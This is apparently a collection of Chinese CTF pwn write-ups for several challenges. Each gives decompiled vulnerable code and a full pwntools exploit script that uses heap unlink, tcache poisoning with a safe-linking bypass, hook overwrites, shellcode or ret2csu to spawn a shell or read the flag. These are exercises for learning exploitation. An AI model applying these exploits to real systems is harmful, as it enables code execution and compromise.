[SUCTF 2018 招新赛]unlink


unsigned __int64 delete()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("which node do you want to delete");
  __isoc99_scanf("%d", &v1);
  if ( (&buf)[v1] != 0LL && v1 >= 0 && v1 <= 9 )
  {
    free((&buf)[v1]);
    (&buf)[v1] = 0LL;
  }
  return __readfsqword(0x28u) ^ v2;
}

Problem: [SUCTF 2018 招新赛]unlink

没有UAF

libc版本2.23很低 没有tcache

unsigned __int64 take_note()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("which one do you want modify :");
  __isoc99_scanf("%d", &v1);
  if ( (&buf)[v1] != 0LL && v1 >= 0 && v1 <= 9 )
  {
    puts("please input the content");
    read(0, (&buf)[v1], 0x100uLL);
  }
  return __readfsqword(0x28u) ^ v2;
}

固定写0x100存在溢出

from pwn import *
from LibcSearcher import *
#from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
io = remote("node4.anna.nssctf.cn",28846)
#io = process("./service")
e = ELF('./service')
libc = ELF('/home/rick/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def get_addr():
	return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def bug():
    attach(io)

s       = lambda data               :io.send(data)
sla      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num                :io.recv(num)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)


def add(size):
    sla(b"chooice :",str(1))
    sla(b"size :",str(size))

def delete(idx):
    sla(b"chooice :",str(2))
    sla(b"to delete",str(idx))

def show(idx):
    sla(b"chooice :",str(3))
    sla(b"to show",str(idx))

def edit(idx,content):
    sla(b"chooice :",str(4))
    sla(b"odify :\n",str(idx))
    sla(b"the content",content)

add(0x10)
add(0x80)
add(0x80)#2
add(0x80)#3



bss = 0x6020c0

delete(1)

edit(0,b'a'*0x20)
show(0)
ru(b"a"*0x20)
leak_libc = uu64(r(6)) - 2 - libc.sym["__realloc_hook"]#gdb debug 
offset = leak_libc + 2 + libc.sym["__realloc_hook"] + 0x6e #beacuse \0a broke the fd + bk
edit(0,b'a'*0x10+p64(0)+p64(0x91)+p64(offset)+p64(offset))
ls("libc_base=>"+hex(leak_libc))
offset_bss = bss + len(p64(0))*3

payload = p64(0)+p64(0x81)+p64(offset_bss-0x20)+p64(offset_bss-0x18)+b'a'*0x60+p64(0x80)+p64(0x90)
edit(2,payload)
delete(3)
#idx3 -> 0x6060b8
payload = b'a'*8+p64(leak_libc+libc.sym["__free_hook"])

edit(2,payload)
#attach(io)
payload = p64(leak_libc+libc.sym["system"])

edit(0,payload)
add(0x10)
edit(2,b'/bin/sh\x00')
delete(2)
#attach(io)




io.interactive()

打unsortbin unlink

之前尝试打了_malloc_hook 的 one_gadget 三个打不进去

_free_hook 的 fake fastbin 一直报错

打unlink 后的 直接写got表还疯狂接收出错

flag 不是直接在根目录 在~/flag.txt

[羊城杯 2023 决赛]Printf but not fmtstr

题目glibc2.36 高版本带safe-linking 推断要泄露heap_base

[*] '/home/rick/Downloads/attachment/pwn'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x3fe000)

64位 部分aslr 没有pie

FILE *sub_40127C()
{
  FILE *result; // rax

  if ( *(FILE **)off_404070 != stderr
    || *(FILE **)off_404078 != stdout
    || (result = stdin, *(FILE **)off_404080 != stdin) )
  {
    write(2, "No! you can't do this!", 0x17uLL);
    _exit(0);
  }
  return result;

有一个验证函数 检测是否修改了

0x404070 -> stderr

0x404078 -> stdout

0x404080 -> stdin

这三个地址存放的这三个流的地址

unsigned __int64 __fastcall add_notes(const char *a1)
{
  unsigned int v1; // ebx
  unsigned int v3; // [rsp+0h] [rbp-20h] BYREF
  _DWORD size[5]; // [rsp+4h] [rbp-1Ch] BYREF

  *(_QWORD *)&size[1] = __readfsqword(0x28u);
  printf("Index: ");
  __isoc99_scanf("%u", &v3);
  if ( v3 <= 0xF )                              // 最大只能存16个chunk
  {
    printf("Size: ");
    __isoc99_scanf("%u", size);
    if ( size[0] <= 0x900u )
    {
      // 0x4FF<size<=0x900
      if ( size[0] > 0x4FFu )
      {
        v1 = v3;
        qword_4040E0[v1] = malloc(size[0]);
        dword_404160[v3] = size[0];
      }
      else
      {
        puts("Too small.");
      }
    }
    else
    {
      puts("Too big.");
    }
  }
  else
  {
    puts("There are only 16 pages in this notebook.");
  }
  return *(_QWORD *)&size[1] - __readfsqword(0x28u);
}

只能存16个chunk

最大0x900 最小0x4FF

0x4040e0存的chunk地址

0x404160存的chunk的size

unsigned __int64 __fastcall delete_notes(const char *a1)
{
  unsigned int v2; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index: ");
  __isoc99_scanf("%u", &v2);
  if ( v2 <= 0xF )
  {
    if ( qword_4040E0[v2] )
      free((void *)qword_4040E0[v2]);
    else
      puts("Page not found.");
  }
  else
  {
    puts("There are only 16 pages in this notebook.");
  }
  return v3 - __readfsqword(0x28u);
}

UAF 没有给指针置0

unsigned __int64 __fastcall edit_notes(const char *a1)
{
  unsigned int v2; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index: ");
  __isoc99_scanf("%u", &v2);
  if ( v2 <= 0xF )
  {
    if ( qword_4040E0[v2] )
    {
      printf("Content: ");
      read(0, (void *)qword_4040E0[v2], (unsigned int)dword_404160[v2]);
    }
    else
    {
      puts("Page not found.");
    }
  }
  else
  {
    puts("There are only 16 pages in this notebook.");
  }
  return v3 - __readfsqword(0x28u);
}

用的是0x404160的size来填 如果改了这个size是不是可以溢出

unsigned __int64 show_notes()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("Index: ");
  __isoc99_scanf("%u", &v1);
  if ( v1 <= 0xF )
  {
    if ( qword_4040E0[v1] )
      printf("Content: %s\n", (const char *)qword_4040E0[v1]);
    else
      puts("Page not found.");
  }
  else
  {
    puts("There are only 16 pages in this notebook.");
  }
  return v2 - __readfsqword(0x28u);
}

正常的show函数

因为最小的chunk都大于0x410了 所以tcache肯定进不去了

safe-linking只在tache

接收:u64(p.recv(5).ljust(8,b’\x00’)) << 12
而修改heap的fd指针:(heap_addr >> 12)^target_addr

new(0,0x500)
new(1,0x500)
new(2,0x500)
new(3,0x500)

delete(0)##隔着放 要不然容易触发合并
delete(2)

show(0)
ru(b"Content: ")
leak_main_arena = u64(io.recv(6).ljust(8,b'\x00'))
ls("get_decrypted_main_arena=>"+hex(leak_main_arena))
libc_base = leak_main_arena -libc.sym["_IO_2_1_stdin_"] - 0x200 -64
ls("get libc_base=>"+hex(libc_base))
'''
pwndbg> x/40gx 0x718b2d7f6cc0 -0x200
0x718b2d7f6ac0 <_IO_2_1_stdin_+64>:	0x0000718b2d7f6b04	0x0000000000000000

'''

随便找的偏移 拿到libc_base

[+] get_main_arena=>0x774ab4ff6cc0
[+] get libc_base=>0x774ab4e00000

构造假chunk打unlink

delete(3)#触发合并 
new(5,0x600)#recovery idx 0 
new(6,0x610)#cut chunk set idx 4 prev_size == 0x600
save_heap_addr = 0x4040e0
has_bk = save_heap_addr
has_fd = save_heap_addr +0x8
payload = p64(0)+p64(0x601)+p64(has_bk)+p64(has_fd)
edit(3,payload)#现在可以发现块有了PREV_INUSE + FD BK改变 + next_chunk的prev_size 符合我们构造的fake_chunk
delete(4)
ogg = libc_base +0x4e1c9
edit(3,p64(e.got["free"]))
edit(0,p64(libc_base+libc.sym["system"]))
edit(2,b'/bin/sh\x00')
delete(2)
#sla(b">",str(1))

#attach(io)

打完后才发现有后门,,

ORW2

Problem: [GDOUCTF 2023]Random

思路

随机数直接爆破,然后有个call rsi
栈底是rsi

  .text:0000000000400931                 lea     rax, [rbp+buf]
.text:0000000000400935                 mov     edx, 40h ; '@'  ; nbytes
.text:000000000040093A                 mov     rsi, rax        ; buf

我们直接在栈写payload
调用syscall read 读入bss
读进bss的就是我们的orw payload
完事了继续call 可以调用栈上的 或者汇编写应该都可以

EXP

  from pwn import *
from LibcSearcher import *
#from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
io = remote("node5.anna.nssctf.cn",29191)
#io = process("./RANDOM")
e = ELF('./RANDOM')
#libc = ELF('./libc-2.31.so')

def get_addr():
	return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def bug():
    attach(io)

s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num                :io.recv(num)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)

call_rsi = 0x400c23

bss = 0x6010b0

for i in range(50):
      sla(b"num:",str(i))
      io.recvline()
      msg = io.recvline()
      ls(msg)
      if b"no" in msg:
            pass
      else:
            ls("success get num")
            break
      
code = """
        xor rax,rax
        mov rdi,0
        mov rsi,0x6010b0
        mov rdx,0xFFFF
        syscall
        call rsi
        """
      
asm_code = asm(code).ljust(0x20,b'\x00')

payload = asm_code + b'a'*8 +p64(call_rsi)
ls("asm_code=>"+hex(len(asm_code)))
#bug()
sla("your door",payload)

code1 = shellcraft.cat('/flag')
payload1 = asm(code1)
s(payload1)



io.interactive()

总结

  • 对该题的考点总结

简单ORW初探

Problem: [HGAME 2023 week1]simple_shellcode

思路

题目提示重读 gdb动调 发现rdi有值
清空 rdx是0xcafe0000 直接转移
rdx也是读取字节 这里设置这么大无伤大雅 懒得改 直接syscall
然后根据之前的payload大小生成垃圾字符 后面跟shellcode 这样执行完刚好到我们shellcode
直接输出flag

EXP

  from pwn import *
from LibcSearcher import *
#from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
io = remote("node5.anna.nssctf.cn",24834)
#io = process("./vuln")
e = ELF('./vuln')
libc = ELF('./libc-2.31.so')

def get_addr():
	return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def bug():
    attach(io)

s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num                :io.recv(num)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)


code = """
xor rdi,rdi
mov rsi,rdx
syscall

"""
payload = asm(code) 
ls("shellcode byte=>"+str(len(payload)))
#bug()
sa(b"shellcode",payload)
payload1 = b'a'*len(payload) + asm(shellcraft.cat('/flag'))
s(payload1)


io.interactive()

总结

  • 对该题的考点总结

2.34 高版本libc safe-linking 初体验 (被恶心死了)

Problem: [CISCN 2022 华东北]duck

思路

高版本libc2.34 照搬一下其他师傅的
现在的接收都是u64(p.recv(5).ljust(8,b’\x00’)) << 12
而修改heap的fd指针则是(heap_addr >> 12)^target_addr
默认创建0X100的chunk 然后跟之前一样打tcache满 然后到unsortbin泄露 main_arena + offset 然后可以得到libc_base 打_IO_file_jumps
_IO_file_jumps 结构第四个是_io_newfile_overflow 据说puts要用到
我是倒着free的 因为正着free会和top_chunk合并
所以也是倒着改fd libc2.34有safe-linking 加密fd 改完 new到结构 直接打onegadget 得到shell

EXP


  from pwn import *
context.log_level = 'debug'
io = remote("node4.anna.nssctf.cn",28290)
#io = process("./pwn")
e = ELF('./pwn')
libc = ELF('./libc.so.6')

s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num                :io.recv(num)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)


def new():
    sla(b"Choice:",str(1))

def edit(idx,size,content):
    sla(b":",str(4))
    sla(b"Idx:",str(idx))
    sla(b"Size:",str(size))
    sla(b"Content:",content)


def show(idx):
    sla(b":",str(3))
    sla(b"Idx:",str(idx))


def free(idx):
    sla(b"Choice:",str(2))
    sla(b"Idx:",str(idx))

for i in range(8):
    new()

for i in range(8):
    free(7-i)

show(0)
leak_main_arena = uu64(ru(b"Done",drop=True)[2:8])
ls("leak=>"+hex(leak_main_arena))
libc_base = leak_main_arena -0x1f2c60 -0x60
ls("libc_base"+hex(libc_base))
IO_file_jumps = libc_base + libc.sym['_IO_file_jumps']
ls("IO_file_jumps"+hex(IO_file_jumps))
show(7)
leak_heap_struct = uu64(ru(b"Done",drop=True)[2:7])  << 12
ls("leak_heap_struct"+hex(leak_heap_struct))
final_IO_file_chunk = (leak_heap_struct >> 12)^IO_file_jumps
ls("final_IO_file_chunk"+hex(final_IO_file_chunk))
for i in range(5):
    new()
edit(6,0x10,p64(final_IO_file_chunk) + p64(0))
new() #13
new() #14
one_gadget = libc_base + 0xda864
edit(14,0x20,p64(0)*3+p64(one_gadget))
#attach(io)






#attach(io)

io.interactive()

总结

接收有点恶心了 safe-linking也是 还加密fd XOR 吐了

入门的UAF

Problem: [NISACTF 2022]UAF

思路

sh\x00\x00对齐 然后NICO是后门函数

EXP

  from pwn import *
context.log_level = 'debug'
io = remote("node4.anna.nssctf.cn",28208)
#io = process("./pwn")
e = ELF('./pwn')
libc = ELF('/home/rick/glibc-all-in-one/libs/2.31-0ubuntu9.17_amd64/libc-2.31.so')

s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num                :io.recv(num)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
ls      = lambda data               :log.success(data)


def new():
    sla(b":",str(1))

def edit(idx,content):
    sla(b":",str(2))
    sl(str(idx))
    sla(b"Input your strings",content)


def show(idx):
    sla(b":",str(4))
    sl(str(idx))


def free(idx):
    sla(b":",str(3))
    sl(str(idx))

new()
free(0)
new()
edit(1,(b'sh\x00\x00'+p32(e.sym["NICO"])))
show(0)


#attach(io)

io.interactive()

总结

  • 对该题的考点总结

tcache二次巩固 + __malloc_hook + onegadget

Problem: [HGAME 2023 week2]editable_note

思路

创8个 0x80 chunk
然后free 需要倒着free 正着free会被top_chunk合并 然后就到unsortbin UAF直接打印泄露LIBC
拿到libc直接改其中一个tcache的fd 申请两次拿到__malloc_hook控制权 直接往上写onegadget
getshell!

EXP

  from pwn import *
context.log_level = 'debug'
p = remote("node5.anna.nssctf.cn",22380)
#p = process("./vuln")
e = ELF('./vuln')
libc = ELF('/home/rick/glibc-all-in-one/libs/2.31-0ubuntu9.17_amd64/libc-2.31.so')

def new(idx,size):
    p.sendlineafter(b'>',str(1))
    p.sendlineafter(b'Index:',str(idx))
    p.sendlineafter(b'Size:',str(size))

def edit(idx,content):
    p.sendlineafter(b'>',str(3))
    p.sendlineafter(b'Index:',str(idx))
    p.sendlineafter(b'Content: ',content)

def show(idx):
    p.sendlineafter(b'>',str(4))
    p.sendlineafter(b'Index:',str(idx))

def free(idx):
    p.sendlineafter(b'>',str(2))
    p.sendlineafter(b'Index:',str(idx))

for i in range(8):
    new(i,0x80)

for i in range(8):
    free(7-i)
show(0)
libc_fake_chunk = u64(p.recvuntil(b"1. Add note",drop=True)[1:7].ljust(8,b'\x00')) - 96 - 0x10 
log.info("leak libc_fake_chunk=>"+hex(libc_fake_chunk))
edit(1,p64(libc_fake_chunk))
new(9,0x80)
new(10,0x80)
og = [0xe3afe,0xe3b01,0xe3b04]
edit(10,p64(libc_fake_chunk - libc.sym["__malloc_hook"]+ og[1]))
new(11,0x50)
#attach(p)

p.interactive()

总结

  • 对该题的考点总结

具有key的高版本tcache attack初体验

Problem: [CISCN 2021 初赛]lonelywolf

思路

先double free拿到chunk地址
要点是libc2.27后期有key 需要先清空fd
泄露了可以拿到tcache_pthread_struct
然后改idx为7认为满了 释放tcache_pthread_struct 然后拿到main_arena 得到Libc_base
然后修复一下结构 比如0x80的idx 和0x80对应chunk的地址改成malloc_hook - 0x17 这个的size位是7d可以用
然后就写脏数据到__malloc_hook
写一个One_gadget 然后直接调用malloc完成getshell

EXP

  from pwn import *
context.log_level = 'debug'
p = remote("node4.anna.nssctf.cn",28937)
#p = process("./lonelywolf")
e = ELF('./lonelywolf')
libc = ELF('/home/rick/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so')

def new(idx,size):
    p.sendlineafter(b'Your choice: ',str(1))
    p.sendlineafter(b'Index:',str(0))
    p.sendlineafter(b'Size:',str(size))

def edit(idx,content):
    p.sendlineafter(b'Your choice: ',str(2))
    p.sendlineafter(b'Index:',str(idx))
    p.sendlineafter(b'Content: ',content)

def show(idx):
    p.sendlineafter(b'Your choice: ',str(3))
    p.sendlineafter(b'Index:',str(idx))

def free(idx):
    p.sendlineafter(b'Your choice: ',str(4))
    p.sendlineafter(b'Index:',str(idx))

new(0,0x78)
free(0)
edit(0,b'a'*16) #清掉fd bk 有key不能double free
free(0)
show(0)
p.recvuntil(b"Content: ")
heap_address = u64(p.recv(6).ljust(8,b'\x00'))
log.success("leak head_address=>"+hex(heap_address))
tcache_struct_addr = heap_address & 0xFFFFFFFFF000 #拿到结构地址
log.success("leak tcache_struct_addr=>"+hex(tcache_struct_addr))
edit(0,p64(tcache_struct_addr+0x10)) #改fd成结构地址
new(0,0x78)
new(0,0x78)
edit(0,p64(0)*4+p64(0x7000000)) #让idx变成7 认为满了
free(0)
show(0)
p.recvuntil(b"Content: ")
libc_base = u64(p.recv(6).ljust(8,b'\x00')) - 96 - 0x10 - libc.sym["__malloc_hook"]
malloc = libc_base + libc.sym["__malloc_hook"]
log.success("leak libc_base=>"+hex(libc_base))
log.success("leak malloc=>"+hex(malloc))
edit(0,p64(0x1000000000000)+p64(0)*13+p64(libc_base + libc.sym["__malloc_hook"] - 0x17)) #0x17 size位7d 可以用 (恢复idx为1的0x80字段) + padding + malloc_hook的fake chunk 地址
new(0,0x78)
og=[0x10a41c,0x4f302,0xe54f7,0xe54fe,0xe5502,0x10a2fc,0x10a308]
edit(0,b'a'*0x17+p64(libc_base+og[0]))
new(0,0x78)
#attach(p)
p.interactive()

总结

  • 对该题的考点总结

ret2csu 第一次解答

Problem: [SWPUCTF 2024 秋季新生赛]出题人你到底干了什么?

思路

Linux x64 Linux x86-64传递参数的方式几乎和Windows一样。但是是通过6个寄存器代替4个寄存器来传参(RDI,RSI,RDX,RCX,R8,R9)

可以用ret2csu来解答

.text:0000000000401226 loc_401226: ; CODE XREF: __libc_csu_init+35↑j
.text:0000000000401226 add rsp, 8
.text:000000000040122A pop rbx
.text:000000000040122B pop rbp
.text:000000000040122C pop r12
.text:000000000040122E pop r13
.text:0000000000401230 pop r14
.text:0000000000401232 pop r15
.text:0000000000401234 retn

这是需要使用的第一个gadget 避免麻烦直接从40122A开始用

rbx一般设置0 rbp一般设置1

loc_401210: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000401210 mov rdx, r14 第一个参数
.text:0000000000401213 mov rsi, r13 第二个参数
.text:0000000000401216 mov edi, r12d 第三个参数
.text:0000000000401219 call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:000000000040121D add rbx, 1
.text:0000000000401221 cmp rbp, rbx
.text:0000000000401224 jnz short loc_401210

如果rbx设置0 也就是直接call[r15]
rbp设置1 可以在cmp rbp, rbx 拿到0
从而不循环跳转loc_401210
又跳到loc_401226
因为add rsp, 8 所以需要多溢出8字节
直接填充6*8 + 8 = 56字节脏数据
然后到ret 接一个main重新溢出
然后就可以按照正常的ret2libc打了

EXP

  from pwn import *
context.log_level = 'debug'
elf = ELF("./attachment")
libc = ELF('/home/rick/glibc-all-in-one/libs/2.31-0ubuntu9.17_amd64/libc-2.31.so')
p = remote("node6.anna.nssctf.cn",26697)
#p = process("attachment")
write_got = elf.got["write"]
write_plt = elf.plt["write"]
gadget_csu_first = 0x40122A
gadget_csu_second = 0x401210
main_addr = elf.sym["main"]
payload = b'a'*88 + b'a'*16
payload += p64(gadget_csu_first)
payload += p64(0) #pop     rbx set 0
payload += p64(1) #pop     rbp set 1
payload += p64(1) #pop r12 => rdi first argument
payload += p64(write_got) #pop r13 => rsi 2 arguc
payload += p64(8) #pop r14 => rdx 3
payload += p64(write_got) #pop r15 => need call 应该是call 到机器码了 而不是实际的地址 所以用got表里面的 plt 里面是 jmp call 机器码肯定报错
# write(1, byte_402008, v3);
'''
call    ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:0000000000401221                 cmp     rbp, rbx
.text:0000000000401224                 jnz     short loc_401210
'''
payload += p64(gadget_csu_second)
#设置脏数据  add     rsp, 8  所以多设置8个字节脏数据
payload += p64(0xdeadbeef)*7
payload += p64(main_addr)

'''
.plt.sec:0000000000401060 _write          proc near               ; CODE XREF: main+32↓p
.plt.sec:0000000000401060 ; __unwind {
.plt.sec:0000000000401060                 endbr64
.plt.sec:0000000000401064                 bnd jmp cs:off_404018
.plt.sec:0000000000401064 _write          endp

'''


#attach(p)
p.send(payload)
p.recvuntil(b"!\n")
leak_got = u64(p.recv(8))
log.success("leak write got=>"+hex(leak_got))
libc_base = leak_got - libc.sym["write"]
pop_rdi_ret = 0x401233
system_addr = libc_base + libc.sym["system"]
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh\x00"))
ret = 0x40101a
payload = b'a'*88 + b'a'*16 +p64(ret) +p64(pop_rdi_ret) + p64(bin_sh_addr) +p64(system_addr)
p.send(payload)

p.interactive()

需要注意的是设置r15 call的时候不能设置plt
因为plt里面的是jmp [offset]
你call他 就 相当于 call 机器码了 必报错
然后payload2 加一个ret 不加不对齐报错

总结

ret2csu retlibc

简单的堆溢出

Problem: [HNCTF 2022 WEEK4]ezheap

思路

可以进行任意长度溢出
溢出拿到chunk1的值,然后继续溢出拿libc_base system 随后恢复堆成之前的样子同时修改名字为bin/sh 然后puts函数修改成system 这样当show的时候就会直接变成system(“/bin/sh”)

EXP

  from pwn import *
context.log_level = 'debug'
p = remote("node5.anna.nssctf.cn",27862)
#p = process("./ezheap")
e = ELF('./ezheap')
libc = ELF('/home/rick/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def new(idx,size,name,content):
    p.sendafter(b'Choice: \n',str(1))
    p.sendafter(b'Input your idx:\n',str(idx))
    p.sendafter(b'Size:\n',str(size))
    p.sendafter(b'Name: \n',name)
    p.sendafter(b'Content:\n',content)

def free(idx):
    p.sendafter(b'Choice: \n',str(2))
    p.sendafter(b'Input your idx:\n',str(idx))

def show(idx):
    p.sendafter(b'Choice: \n',str(3))
    p.sendafter(b'Input your idx:\n',str(idx))


def edit(idx,size,content):
    p.sendafter(b'Choice: \n',str(4))
    p.sendafter(b'Input your idx:\n',str(idx))
    p.sendafter(b'Size:\n',str(size))
    p.send(content)

new(0,0x20,b'qwq',b'a'*0x20)
new(1,0x20,b'qwq',b'a'*0x20) #0x30+0x30
edit(0,0x30,b'a'*0x30)

show(0)
p.recvuntil(b'a'*0x30)
chunk_idx_1 = u64(p.recv(6).ljust(8,b'\x00'))
log.success("leak chunk_idx_1 =>"+hex(chunk_idx_1))
edit(0,0x50,b'a'*0x50)
show(0)
p.recvuntil(b'a'*0x50)
puts_addr = u64(p.recv(6).ljust(8,b'\x00'))
log.success("leak puts_addr =>"+hex(puts_addr)) 
libc_base = puts_addr - libc.sym["puts"]
log.success("leak libc_base =>"+hex(libc_base))
system_addr = libc_base + libc.sym["system"]
payload = b'a'*0x20 + p64(0) +p64(0x31) +b'/bin/sh\x00'+p64(0)+p64(chunk_idx_1)+p64(0x1)+p64(system_addr)
edit(0,len(payload),payload)
show(1)
#attach(p)

p.interactive()

总结